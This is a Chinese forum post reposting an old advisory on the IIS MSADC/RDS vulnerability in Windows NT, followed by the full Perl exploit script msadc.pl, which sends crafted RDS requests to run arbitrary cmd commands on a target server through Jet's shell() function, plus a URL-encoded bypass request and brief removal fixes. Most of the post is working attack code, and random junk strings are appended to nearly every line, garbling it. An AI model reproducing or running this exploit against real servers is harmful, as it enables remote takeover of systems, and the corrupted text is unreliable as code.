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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) c7[<X<yk  
:3s5{s   
涉及程序: cu4&*{  
Microsoft NT server 2Qqk?;^ 1  
3TRzDE(J  
描述: iwnctI  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 @?$x  
UN <s1  
详细: hlpi-oW`  
如果你没有时间读详细内容的话,就删除: +0016UgS#  
c:\Program Files\Common Files\System\Msadc\msadcs.dll d;3/Vr$t=  
有关的安全问题就没有了。 IcM99'P(  
I+,~pmn:  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 G[}$s7@k  
[X'XxYbZ  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 phu`/1;p  
关于利用ODBC远程漏洞的描述,请参看: z+K-aj w  
,9I %t%sb  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm cnQ;6LtFTz  
g]IRv(gDh  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 8E:8iNbF  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2sj[hI  
IJxBPwh  
这里不再论述。 *;Q IAd  
w-%V9]J1  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:  -a``  
/;7\HZ$@/  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset 9qUc{ydt  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! kiLwN nq  
DQ '=$z  
(yjx+K_[  
#将下面这段保存为txt文件,然后: "perl -x 文件名" u^DfRd&P0  
H ?Vo#/  
#!perl Zj@k3y  
# Y}<w)b1e|  
# MSADC/RDS 'usage' (aka exploit) script Zd~'%(q  
# #wXq'yi  
# by rain.forest.puppy k[9~Er+  
# 00Tm]mMQX  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me )-D{]>8  
# beta test and find errors! < Y5pAStg  
.<0|V  
use Socket; use Getopt::Std; td*1  
getopts("e:vd:h:XR", \%args); N/wUP  
q]%eLfC(  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; :ud<"I]:  
Gk<M@d^hQ  
if (!defined $args{h} && !defined $args{R}) { 4+rr3 $AY  
print qq~ en6Kdqe  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ]mDsd*1  
-h <host> = host you want to scan (ip or domain) }HO3D.HE^  
-d <seconds> = delay between calls, default 1 second > -P UY  
-X = dump Index Server path table, if available v|IPus|>  
-v = verbose q"Ct=d  
-e = external dictionary file for step 5 Z>0a?=1[  
Z~&$s  
Or a -R will resume a command session N_ 3$B=  
W6~aL\[  
~; exit;} 1r!o,0!d-'  
N4]Sp v  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; e"^ /xF  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} RKIBFP8.  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} vpt*?eR  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Y[_{tS#u  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} Sz!mn  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } VFmG\  
gLm ]*  
if (!defined $args{R}){ $ret = &has_msadc; g8=j{]~C  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ]2:w?+T  
d-GU164  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ^("23mhfJ  
. "cmd /c "; {..6{~L  
$in=<STDIN>; chomp $in; %Aqt0e  
$command="cmd /c " . $in ; i5PZ)&  
p$5uS=:4`8  
if (defined $args{R}) {&load; exit;} tu4-##{  
@fI1|v=eF  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; }PC_qQF  
&try_btcustmr; I_?+;<n  
U?@ s`.  
print "\nStep 2: Trying to make our own DSN..."; fGZZ['E  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; yj:<3_-C*  
|:H 9#=  
print "\nStep 3: Trying known DSNs..."; xbVvK+  
&known_dsn; 0|Rt[qwKb@  
-0I]Sm;$  
print "\nStep 4: Trying known .mdbs..."; k?!CJ@5$  
&known_mdb; wBuos}/  
%`]&c)&#Z  
if (defined $args{e}){ QL].)Vgf  
print "\nStep 5: Trying dictionary of DSN names..."; QPD[uJ(I  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } `>HM<Nn-0  
;hf{B7  
print "Sorry Charley...maybe next time?\n"; sYfiC`9SO  
exit; /8cfdP Ba  
z9}WP$W  
############################################################################## 0: 1[F!]'b  
MD4RSl<F  
sub sendraw { # ripped and modded from whisker 6E^h#Ozl 9  
sleep($delay); # it's a DoS on the server! At least on mine... w\K(kNd(  
my ($pstr)=@_; KbXENz&C  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || r_"=DLx6  
die("Socket problems\n"); 5~R1KjjvA  
if(connect(S,pack "SnA4x8",2,80,$target)){ r(ZMZ^  
select(S); $|=1; \kR:GZ`{UV  
print $pstr; my @in=<S>; mXSs:FqE!  
select(STDOUT); close(S); FQlYCb  
return @in; %2 I >0  
} else { die("Can't connect...\n"); }} )yTBtYw3  
*3!#W|#=]N  
############################################################################## .UGbo.e  
dzbFUDJ  
sub make_header { # make the HTTP request JS!`eO/8  
my $msadc=<<EOT _{C =d3  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )N'-A p$g  
User-Agent: ACTIVEDATA x:? EL)(  
Host: $ip (teK0s;t5k  
Content-Length: $clen (i.7\$4  
Connection: Keep-Alive "9v4'"  
lf9mdbm  
ADCClientVersion:01.06 _'}Mg7,V  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 m\.(-  
AxAbU7m  
--!ADM!ROX!YOUR!WORLD! r.ib"W#4  
Content-Type: application/x-varg Hp(wR'(g&  
Content-Length: $reqlen s#p\ r  
Q/%]%d  
EOT K/l*Saj  
; $msadc=~s/\n/\r\n/g; th^&wp  
return $msadc;} G_E \p%L>]  
QFg{.F?3q>  
############################################################################## &~&oB;uR  
A|`mIma#  
sub make_req { # make the RDS request ukDaX  
my ($switch, $p1, $p2)=@_; \Gm\sy  
my $req=""; my $t1, $t2, $query, $dsn; nr?|!gj  
?m\? #  
if ($switch==1){ # this is the btcustmr.mdb query {%BPP{OFk  
$query="Select * from Customers where City=" . make_shell(); 2u%YRrp  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . SH5a&OVZhn  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} K}( @Ek  
=`OnFdI  
elsif ($switch==2){ # this is general make table query gkFw=Cd  
$query="create table AZZ (B int, C varchar(10))"; y[DS$>E  
$dsn="$p1";} [;pL15-}4  
2o<aEn&7|e  
elsif ($switch==3){ # this is general exploit table query yfZYGhPN(  
$query="select * from AZZ where C=" . make_shell(); *[+{KJ  
$dsn="$p1";} oqa8v6yG'  
eE5j6`5i  
elsif ($switch==4){ # attempt to hork file info from index server NI85|*h  
$query="select path from scope()"; +GL[uxe "  
$dsn="Provider=MSIDXS;";} )W^$7 Em  
<T`&NA@%~$  
elsif ($switch==5){ # bad query (b"kN(  
$query="select"; FyWrb+_0v  
$dsn="$p1";} i'3)5  
Y(;u)uN_  
$t1= make_unicode($query); PB;j4  
$t2= make_unicode($dsn); =h\uC).t&  
$req = "\x02\x00\x03\x00"; Wg=qlux-  
$req.= "\x08\x00" . pack ("S1", length($t1)); oIGF=x,e8  
$req.= "\x00\x00" . $t1 ; 9dwLkr  
$req.= "\x08\x00" . pack ("S1", length($t2)); eL1)_M;{  
$req.= "\x00\x00" . $t2 ; B) BR y%  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; '3iJq9  
return $req;} M~ g{}_ 0Z  
d Z}|G-:  
############################################################################## Y'Yu1mH)  
,!QtViA7  
sub make_shell { # this makes the shell() statement 3|(3jIa  
return "'|shell(\"$command\")|'";} V?- ]ZkI  
IweNe`Z  
############################################################################## L}VQc9"gc  
nq:'jdY5|  
sub make_unicode { # quick little function to convert to unicode "h:#'y$V  
my ($in)=@_; my $out; ;umbld0  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 9)$gD  
return $out;} br')%f}m  
vlo!D9zsV3  
############################################################################## =%d.wH?dZ/  
%&!B2z}  
sub rdo_success { # checks for RDO return success (this is kludge) %']`t-N8  
my (@in) = @_; my $base=content_start(@in); T/?C_i  
if($in[$base]=~/multipart\/mixed/){ W?gelu]  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} N~%~Q  
return 0;} Yb?(Q %  
Lj1>X2.gD  
############################################################################## KeWIC,kq  
?ajVf./Ja  
sub make_dsn { # this makes a DSN for us I\f\k>;  
my @drives=("c","d","e","f"); m0N{%Mf-  
print "\nMaking DSN: "; IZ@M K  
foreach $drive (@drives) { Mo]  
print "$drive: "; G|j8iV O  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . V U~r~  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" mW1T4rR'  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); wu3p2#-Z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Hm]\.ZEy  
return 0 if $2 eq "404"; # not found/doesn't exist [_HOD^  
if($2 eq "200") { rSKZc`<^  
foreach $line (@results) { R) J/z  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  g:?p/L  
} return 0;} =QhK|C!$A  
'~E=V:6  
############################################################################## @DK`#,  
0W,.1J2*  
sub verify_exists { is`~C  
my ($page)=@_; W_[ tdqey  
my @results=sendraw("GET $page HTTP/1.0\n\n"); Bh7dAV(  
return $results[0];} @"n]v)[4  
uE'Kk8  
##############################################################################  6Ok]E`  
ORhvo,.u  
sub try_btcustmr { v_,'NA0  
my @drives=("c","d","e","f"); 8b< 'jft  
my @dirs=("winnt","winnt35","winnt351","win","windows"); |)%;B%  
{Z#=ppvs  
foreach $dir (@dirs) { < mp_[-c  
print "$dir -> "; # fun status so you can see progress [#;CBs5o  
foreach $drive (@drives) { S&NWZ:E3[  
print "$drive: "; # ditto Ly]J-BTe  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; 7Jn%c<s  
$reqlenlen=length( "$reqlen" ); c.}#.-b8  
$clen= 206 + $reqlenlen + $reqlen; ageTv/  
[I=1   
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); ZC3;QKw>  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} sZ#U{LI  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} @gk{wh>c  
=$uSa7t#  
############################################################################## c1 Hp  
TnJNs  
sub odbc_error { af|x(:!H  
my (@in)=@_; my $base; "8/BVW^bv  
my $base = content_start(@in); t"X^|!hKIF  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this (PSL[P  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; >`I%^+ z  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; N 'YzCq;M  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; &)!4rABn  
return $in[$base+4].$in[$base+5].$in[$base+6];} f*Yr*yC  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; O T .bXr~  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 8j}o\!H  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} U;LX"'}  
C%AN4Mo  
############################################################################## f s2}a  
K?*p|&Fi?8  
sub verbose { E6fs&  
my ($in)=@_; ?s[!JeUA  
return if !$verbose; ]BfJ~+ N  
print STDOUT "\n$in\n";} C9n*?Mk:  
`Af5%m[  
############################################################################## LKYcE;n  
N[kl3h%q  
sub save { r}-vOPn`E  
my ($p1, $p2, $p3, $p4)=@_; =,Z5F`d4  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; hpo*5Va  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; CQH^VTQ  
close OUT;} .@ @&q4= &  
4tz@?T Cb  
############################################################################## ^tI4FQ>Y  
ICzcV };$  
sub load { d)L,kzN  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; B]:?4Ov  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ~9c jc  
@p=<IN>; close(IN); Q; BD|95nl  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); )p[Qj58  
$target= inet_aton($ip) || die("inet_aton problems"); fk\hrVP  
print "Resuming to $ip ..."; 5Vlm?mPU  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ]*<!|;q  
if($p[1]==1) { O}X@QG2_  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; g:Fo7*i  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; U9"Ij}  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); `bW0Va N  
if (rdo_success(@results)){print "Success!\n";} '25zb+ -  
else { print "failed\n"; verbose(odbc_error(@results));}} M4E==  
elsif ($p[1]==3){ Vs(D(d,  
if(run_query("$p[3]")){ cX|(/h,W/  
print "Success!\n";} else { print "failed\n"; }} x/IAc6H~_8  
elsif ($p[1]==4){ 0iVeM!bM  
if(run_query($drvst . "$p[3]")){ G4wJv^6i9  
print "Success!\n"; } else { print "failed\n"; }} ;R^=($X  
exit;} n1rJ^q-G  
.5iXOS0 G  
############################################################################## Xuj=V?5  
PKYm{wO-  
sub create_table { z;\,Dt  
my ($in)=@_; ,AG k4]  
$reqlen=length( make_req(2,$in,"") ) - 28; '3TfW61]  
$reqlenlen=length( "$reqlen" ); (} Y|^uM,  
$clen= 206 + $reqlenlen + $reqlen; ;Ngu(es6  
my @results=sendraw(make_header() . make_req(2,$in,"")); =r^Pu|  
return 1 if rdo_success(@results); Y/qs\c+  
my $temp= odbc_error(@results); verbose($temp); ? J6\?ct4  
return 1 if $temp=~/Table 'AZZ' already exists/; O[z-K K<  
return 0;} #ib?6=sPC  
*yN#q>1  
############################################################################## /m h #o  
M)CQ|P  
sub known_dsn { ;;mr?'R  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go +4V"&S|&  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", M^0^l9w  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {emym$we  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); 7kmd.<  
l42tTD8Awz  
foreach $dSn (@dsns) { X9o6} %Y  
print "."; HA~BXxa/  
next if (!is_access("DSN=$dSn")); !~te&ccPE  
if(create_table("DSN=$dSn")){ HlXEU$e  
print "$dSn successful\n"; dQ_yb+<  
if(run_query("DSN=$dSn")){ VIuzBmR|\  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { s\q m  
print "Something's borked. Use verbose next time\n";}}} print "\n";} #=czqZw  
j9*5Kj  
############################################################################## D4PjE@D"H  
0t -=*7w%  
sub is_access { ~-#8j3 J;  
my ($in)=@_; .]ZMxDZ  
$reqlen=length( make_req(5,$in,"") ) - 28; =&y6mQ  
$reqlenlen=length( "$reqlen" ); ah15 ,<j  
$clen= 206 + $reqlenlen + $reqlen; E6clVa  
my @results=sendraw(make_header() . make_req(5,$in,"")); InB'Ag"  
my $temp= odbc_error(@results); 7xCm"jgP  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); U\(T<WX,  
return 0;} Kk6i  
@^,9O92l  
############################################################################## II{"6YI>  
 zj7?2  
sub run_query { 7-4S'rq+  
my ($in)=@_; JO&+W^$uY}  
$reqlen=length( make_req(3,$in,"") ) - 28; LmjGU[L,@  
$reqlenlen=length( "$reqlen" ); sdXZsQw  
$clen= 206 + $reqlenlen + $reqlen; n*A"}i`ix  
my @results=sendraw(make_header() . make_req(3,$in,"")); `tJ"wpCf6  
return 1 if rdo_success(@results); p~h [4hP  
my $temp= odbc_error(@results); verbose($temp); mZ#h p}\.  
return 0;} G(MLq"R6U  
<4jqF 4 W  
############################################################################## KvtJ tql;  
qw}. QwPT  
sub known_mdb { [ Ru ( H  
my @drives=("c","d","e","f","g"); Lo5CVlK  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Sj@VOW  
my $dir, $drive, $mdb; <Eh_  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; mEq>{l:  
 u'qc=5  
# this is sparse, because I don't know of many l'kVi  
my @sysmdbs=( "\\catroot\\icatalog.mdb", "~6IjW*/  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", HKG8X="  
"\\system32\\certmdb.mdb", UiH5iZ<r;  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \>c1Z5H>  
7 MG<!U  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", F tay8m@f  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /gq\.+'{  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", VMJK9|JC[  
"\\cfusion\\cfapps\\security\\realm_.mdb", :\"g}AX  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", o3a%u(   
"\\cfusion\\database\\cfexamples.mdb", IZ9* '0Z  
"\\cfusion\\database\\cfsnippets.mdb", QHw{@*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ]vZ}4Xno  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", xH{V.n&v  
"\\cfusion\\brighttiger\\database\\cleam.mdb", BD&AtOj[,  
"\\cfusion\\database\\smpolicy.mdb", gv/yfiA?  
"\\cfusion\\database\cypress.mdb", CzG/=#IU  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", qWb8"  
"\\website\\cgi-win\\dbsample.mdb", oE$zOS&2  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 15"[MX A  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" c{wob%!>  
); #these are just (zIF2qY  
foreach $drive (@drives) { /[>zFYaQ  
foreach $dir (@dirs){ &ej |DM6  
foreach $mdb (@sysmdbs) { ts;C:.X  
print "."; BaOPtBYA:  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ -ei+r#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 1-?TjR  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ JVh/<A  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >(eR0.x  
} else { print "Something's borked. Use verbose next time\n"; }}}}} >on' y+  
xqzB=0  
foreach $drive (@drives) { iK9#{1BpML  
foreach $mdb (@mdbs) { SOQR(UT  
print "."; 7` IO mTk  
if(create_table($drv . $drive . $dir . $mdb)){ <k 7q 9"\4  
print "\n" . $drive . $dir . $mdb . " successful\n"; <<+Hs/ ]  
if(run_query($drv . $drive . $dir . $mdb)){ vff`Xh>k(  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; A&=`?4>  
} else { print "Something's borked. Use verbose next time\n"; }}}} nIv/B/>pZ  
} k~pbXA*u  
}R)A%FKi@  
############################################################################## 8AIAv_ g  
'kk B>g7B  
sub hork_idx { .$s=E8fW  
print "\nAttempting to dump Index Server tables...\n"; sr`)l&t?  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; Wj\< )cH]  
$reqlen=length( make_req(4,"","") ) - 28; VMV~K7%0  
$reqlenlen=length( "$reqlen" ); T``~YoIdz  
$clen= 206 + $reqlenlen + $reqlen; Fn*)!,)  
my @results=sendraw2(make_header() . make_req(4,"","")); fg~9{1B  
if (rdo_success(@results)){ 19;F+%no#  
my $max=@results; my $c; my %d; $/;<~Pzi  
for($c=19; $c<$max; $c++){ 6D1tRo  
$results[$c]=~s/\x00//g; LJ mRa  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; Ar1X mHq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; mKhlYV n  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; h} <Ie <  
$d{"$1$2"}="";} N1jJ(}{3  
foreach $c (keys %d){ print "$c\n"; } L Olj8T8Z  
} else {print "Index server doesn't seem to be installed.\n"; }} n<66 7 <  
cS#m\O  
############################################################################## XyytO;X M-  
il >XV>  
sub dsn_dict { \_PD@A9  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); hYv;*]  
while(<IN>){ #dm"!I>g  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; }[8Nr+y  
next if (!is_access("DSN=$dSn")); :gacP?  
if(create_table("DSN=$dSn")){ Ikj_ 0/%F  
print "$dSn successful\n";  TrmU  
if(run_query("DSN=$dSn")){ "ba>.h,#'  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 8i'EO6  
print "Something's borked. Use verbose next time\n";}}} fDIKR[B  
print "\n"; close(IN);} Wf!<Qot|R#  
:h60  
############################################################################## Y"Y+U`Qt  
sH{ 4.tw  
sub sendraw2 { # ripped and modded from whisker ?^W`7HF%0  
sleep($delay); # it's a DoS on the server! At least on mine... 6o^sQ(]  
my ($pstr)=@_; >)`V $x  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || #ysSfM6  
die("Socket problems\n"); @$%[D`Wa<  
if(connect(S,pack "SnA4x8",2,80,$target)){ ql c{k/ u  
print "Connected. Getting data"; r-k,4Yz  
open(OUT,">raw.out"); my @in; T *8rR"  
select(S); $|=1; print $pstr; b<?A  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 2v9T&xo=  
close(OUT); select(STDOUT); close(S); return @in; mzh7E[S_,i  
} else { die("Can't connect...\n"); }} &[iunJv:eq  
sQ8_j  
############################################################################## qGPIKu  
}iCcXZ&5^  
sub content_start { # this will take in the server headers >Lr ud{  
my (@in)=@_; my $c; &fu J%  
for ($c=1;$c<500;$c++) { yM-3nwk  
if($in[$c] =~/^\x0d\x0a/){ FR9*WI   
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } )>~d`_$dt  
else { return $c+1; }}} It8m]FN  
return -1;} # it should never get here actually "T,^>xD  
bTN0n  
############################################################################## bEc @"^)  
H[KTM'n  
sub funky { ;'g.%  
my (@in)=@_; my $error=odbc_error(@in); BPkqC>w  
if($error=~/ADO could not find the specified provider/){ ); <Le6  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; a'm\6AW2)  
exit;} /,cyp .  
if($error=~/A Handler is required/){ x%\m/_5w%  
print "\nServer has custom handler filters (they most likely are patched)\n"; 3A5:D#  
exit;} ubvXpK:.  
if($error=~/specified Handler has denied Access/){ ~G ZpAPg*  
print "\nServer has custom handler filters (they most likely are patched)\n"; G8E=E<Yg~  
exit;}} +f- E8q  
Zc Y* TGx  
############################################################################## -w#Hy>E  
WOaj_o  
sub has_msadc { (#"iZv,  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); hy?e?^  
my $base=content_start(@results); +,BJ4``*k  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); L% cr `<~  
return 0;} _g#v*7o2@  
4M4oI .  
######################## NtnKS@Ht  
!e"TWO*X  
a'pJg<  
解决方案: !gfz4f&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 4:Bpz;x  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 @9wug!,  
dGrm1w  
拿出来充数 哈哈
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